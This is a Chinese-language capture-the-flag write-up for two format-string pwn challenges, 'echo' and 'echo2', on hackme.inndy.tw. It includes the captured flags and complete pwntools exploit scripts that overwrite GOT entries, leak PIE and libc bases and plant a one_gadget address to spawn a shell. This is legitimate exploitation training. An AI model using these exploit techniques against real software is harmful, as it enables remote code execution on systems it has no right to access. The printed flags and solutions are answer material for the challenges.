printf

echo

FLAG{printf vulnerability is fun, right? %16c%7$hhn%99c%7$hhn}

是根据这个网站写的。首先判断printf的那个栈和之前输入的字符串间隔几个参数:输入ABCD%n$xn=多少时能输出ABCD4443424144434241ABCD16进制ASCII码的反序

然后利用pwntools自带的fmtstr_payload,将n、printf地址和system地址放进去,利用printf漏洞把printf地址改成 system地址。再输入"/bin/sh"字符串让system执行就好了。

# -*- coding: utf-8 -*-
from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level = 'debug'
io = remote("hackme.inndy.tw", 7711)
# io = process('./echo')
# gdb.attach(io, "b *main")
for i in range(100):
    payload = "ABCD%" + str(i) + "$x"
    io.sendline(payload)
    if "ABCD44434241" == io.recvline(keepends=False):
        print('------------------------------')
        print('Found format string offset: ' + str(i))
        print('------------------------------')
        offset = i
        break

# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF("./echo")
io.sendline(fmtstr_payload(offset, {elf.got['printf']: elf.sym['system']}))
io.sendline('/bin/sh')
io.interactive()

出乎意料的是这题不用泄露libc版本直接发过去就能得到shell…… 莫非我电脑和inddy用的一个版本libc……

echo2

FLAG{do you know PIE? %9$s or the ASLR? %9c$8$hhn}

一开始觉得和上一道没什么区别,顶多就是不能用fmtstr_payload了。但对着PPT半天做不出,上网得知:

  1. 开启PIE需要程序本身的基址;
  2. 这题没法把 printf 地址覆盖成 system。因为一个%hhn写一个字节,没法一次覆盖完,下一次循环也没法用printf了。所以网上的WP无一例外都用one_gadget得到execve('/bin/sh', NULL, NULL),并覆盖到退出循环后的exit函数里。

脚本参考了王奥博学长和李博学长的:

# -*- coding: utf-8 -*-
from pwn import *
context.bits = 64
# context.log_level = 'debug'
io = remote('hackme.inndy.tw', 7712)

for i in range(100):
    payload = "ABCD%" + str(i) + "$x"
    io.sendline(payload)
    if "ABCD44434241" == io.recvline(keepends=False):
        offset = i
        log.info("Found format string offset -> 0x%x" % offset)
        break

libc = ELF('./libc-2.23.so.x86_64')
elf = ELF('./echo2')

io.sendline("%41$p..%43$p..")
# %41$p指向的是main+74,所以要减掉main函数地址(nm ./echo2得到)和74
elf_base = int(io.recvuntil("..", drop=True), 16) - 74 - 0x9b9

payload = "++%" + str(i+1) + "$s++" + p64(elf_base+elf.got['printf'])
io.sendline(payload)
io.recvuntil('++')
printf_addr = u64(io.recvuntil('++', drop=True).ljust(8, "\x00"))
libc_base = printf_addr - libc.sym['printf']

log.info("elf_base -> 0x%x" % elf_base)
log.info("libc_base -> 0x%x" % libc_base)

exit_addr, override_addr = elf_base + \
    elf.got['exit'], libc_base + 0x45206  # one_gadget

i = 0
while override_addr != 0:
    payload = "%{}c%8$hhn".format(override_addr & 0xff).ljust(16)
    payload += p64(exit_addr+i)
    log.info("sent: " + payload)
    io.sendline(payload)
    override_addr = override_addr >> 8
    i += 1

io.sendline('exit')
io.interactive()